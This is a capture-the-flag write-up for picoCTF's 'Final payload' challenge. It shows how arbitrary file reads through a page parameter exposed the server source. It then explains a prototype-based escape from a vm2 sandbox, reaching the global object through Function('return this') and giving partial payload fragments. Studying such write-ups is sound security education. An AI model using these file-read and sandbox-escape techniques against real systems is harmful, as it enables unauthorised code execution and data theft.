Final payload
Points
800
Description
C? Who uses that anymore. If we really want to be secure, we should all start learning lambda calculus.
http://2018shell1.picoctf.com:43607
(link)
Hints
This compiler is 99.9% bug free! I’m sure the other 0.1% won’t amount to anything…
Solution
The website linked contains information about a new language called LambDash. To access a tutorial page, we GET /?page=client/pages/...
, from which we can infer that GETing /?page=[file]
will return the contents of [file]
. Thus, /?page=package.json
gives us information about the server source. The LambDash is parsed using Jison, a parser generator, and the rest of the server is written in TypeScript. We can extract src/lambda.jison
, src/server.ts
, src/emulator.ts
, and src/typechecker.ts
. The following code is how LambDash is evaluated in src/server.ts
:
let code = req.body.code;
let ast: E;
try {
ast = parse(code);
} catch (e) {
res.send(`Error -- code did not parse${e.toString()}`);
return;
}
let type: Type;
try {
type = typecheck(ast);
} catch (e) {
res.send(`Error -- code did not typecheck${e.toString()}`);
return;
}
let vm = new vm2.NodeVM({
timeout: 1000,
sandbox: {
ast,
hidden: {
getFlag: ((f: string) => ((x: string) => {
if (x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'") {
return f;
}
return "Bad! " + x;
}))(process.env.FLAG)
},
},
require: {
context: "sandbox",
external: ["./emulator", "immutable"],
root: __dirname,
},
});
try {
let result = vm.run(new vm2.VMScript(`
let emulator = require("${__dirname}/emulator");
module.exports = emulator.resToString(emulator.default(ast));
`));
console.log(result);
res.send(`Result:${result}:${typeToString(type)}`);
} catch (e) {
console.log("Wut", e.stack);
res.send(`Error -- failed to execute${e}`);
}
The code is first parsed by the JISON, then typechecked and then finally evaluated in a sandbox. Our goal is to run hidden.getFlag("if you can get this you deserve the flag -> abcd1234!@#$%^&*()'")
using LambDash.
The main exploit comes from src/emulator.ts
. The getCleanObject
method does not properly remove the object prototype:
function getCleanObject(): { [key: string]: any } {
let obj = {};
for (let prop of Object.getOwnPropertyNames((obj as any).__proto__)) {
(obj as any)[prop] = undefined;
}
(obj as any).__proto__ = undefined;
return obj;
}
Setting an object’s prototype will not override it. Thus, if we can get unlimited access to a prototype, then we should be able to get the flag by getting the emulator to evaluate obj.__proto__.toString.constructor("return this")().hidden.getFlag("if you can get this you deserve the flag -> abcd1234!@#$%^&*()'")
. Since toString
is a function, obj.__proto__.toString.contructor("return this")
is just Function("return this")
, which just returns the global object.
This can be exploited in two ways. The first way that comes to mind is the EXTRACT
type returned by the JISON. The EXTRACT
type is returned every time we have an expression of the form <expression>#`<string>
. In the scope of LambDash, it gets the value of a certain key of a product type. The emulator evaluates EXTRACT
values as following:
case "EXTRACT": {
let value = emulate(e.value, sigma);
return value[e.productLabel];
}
However, this alone is not enough to exploit __proto__
. We need to make sure all our LambDash is type-compliant, and something like {`__proto__ {`toString unit -> unit}}#`__proto__#`toString()
will just override the __proto__
, since overwriting __proto__
with an object is perfectly ok.
Our next exploit comes from identifiers. Both typed untyped identifiers are handled as such:
case "TYPED_IDENT":
case "UNTYPED_IDENT": {
return sigma[e.value];
}
In a normal context (i.e. calling a lambda function), sigma[e.value]
would be overwritten with its actual value. However, it’s completely valid within the language to define a typed identifier with name __proto__
and to extract labels. In fact, running __proto__:{`toString unit -> unit}#`toString()
will produce [object undefined]:UNIT
without an issue. Thus, we now have complete access to the Object prototype.
To create strings, we will use String.fromCharCode
, or __proto__.toString().constructor.fromCharCode
. This is represented in LambDash as
(__proto__:{`toString unit -> {`constructor {`fromCharCode int -> int }}}#`toString ())#`constructor#`fromCharCode
Note: we define fromCharCode
to return an int so that we can add strings.
With all this is mind, it is now possible to construct the final payload. Running it gives us the flag.